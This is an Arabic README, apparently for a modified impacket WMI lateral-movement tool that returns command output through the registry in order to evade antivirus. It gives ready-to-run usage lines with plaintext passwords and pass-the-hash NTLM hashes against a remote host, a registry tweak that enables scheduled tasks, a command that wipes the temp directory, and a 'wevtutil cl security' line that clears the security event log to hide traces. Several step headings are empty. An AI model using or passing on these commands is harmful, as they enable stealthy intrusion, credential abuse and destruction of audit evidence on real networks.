
نسخة معدلة من impacket wmiexec.py، تحصل على المخرجات (data, response) من السجل، لا تحتاج إلى اتصال SMB، كما تتجاوز برامج مكافحة الفيروسات في الحركة الجانبية مثل WMIHACKER.
نسخة معدلة من impacket wmiexec.py, wmipersist.py. تحصل على المخرجات (بيانات, استجابة) من السجل (Registry)، لا تحتاج اتصال SMB، لكنني في كود سيء :(
في wmiexec.py الأصلي، يحصل على الاستجابة من اتصال SMB (المنفذ 445,139). لسوء الحظ، بعض برامج مكافحة الفيروسات تراقب هذه المنافذ باعتبارها عالية المخاطر.
في هذه الحالة، قمت بإزالة وظيفة اتصال SMB واستخدمت طرقًا أخرى لتنفيذ الأوامر.
Key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Configuration
Name: EnableAt
Type: REG_DWORD
Value: 1
wmipersist-wip.py (موصى به بشدة، !!!يعمل فقط على impacket v0.9.24!!!): نسخة بايثون من WMIHACKER، التي أخذت منها قالب vbs. يمكن للمهاجم استخدامها للحركة الجانبية بأمان تحت برامج مكافحة الفيروسات.
wmiexec-regOut.py: مجرد مثال بسيط لطريقة Win32_Process.create.
الخطوة 1:
الخطوة 2:
الخطوة 3:
الخطوة 4:
الخطوة 5:
الخطوة 1:
الخطوة 2:
الخطوة 3:
بشكل عام، تحتاج فقط إلى تثبيت impacket الرسمي.
باستخدام كلمة مرور نصية صريحة
python3 wmiexec-reg.py administrator:[email protected] 'whoami'

باستخدام تجزئات NTLM
python3 wmiexec-reg.py -hashes e91d2eafde47de62c6c49a012b3a6af1:e91d2eafde47de62c6c49a012b3a6af1 [email protected] 'whoami'

باستخدام كلمة مرور نصية صريحة (بدون إخراج)
python3 wmipersist-wip.py administrator:[email protected] 'command'

باستخدام تجزئات NTLM
python3 wmipersist-wip.py -hashes e91d2eafde47de62c6c49a012b3a6af1:e91d2eafde47de62c6c49a012b3a6af1 [email protected] 'whoami'

مع الإخراج
python3 wmipersist-wip.py administrator:[email protected] "whoami /priv" -with-output
python3 wmipersist-wip.py [email protected] "whoami /priv" -hashes e91d2eafde47de62c6c49a012b3a6af1:e91d2eafde47de62c6c49a012b3a6af1 -with-output

تحت برنامج مكافحة الفيروسات Huorong (باستخدام قالب WMIHACKER VBS!!!)

لا تنس تنظيف الدليل المؤقت بعد تشغيل الأمر مع الإخراج.
الأمر: del /q /f /s C:\windows\temp\*

الأمر يحتوي على علامات اقتباس مزدوجة.
ضع علامات الاقتباس المزدوجة داخل علامات الاقتباس المفردة wevtutil cl '"security"'
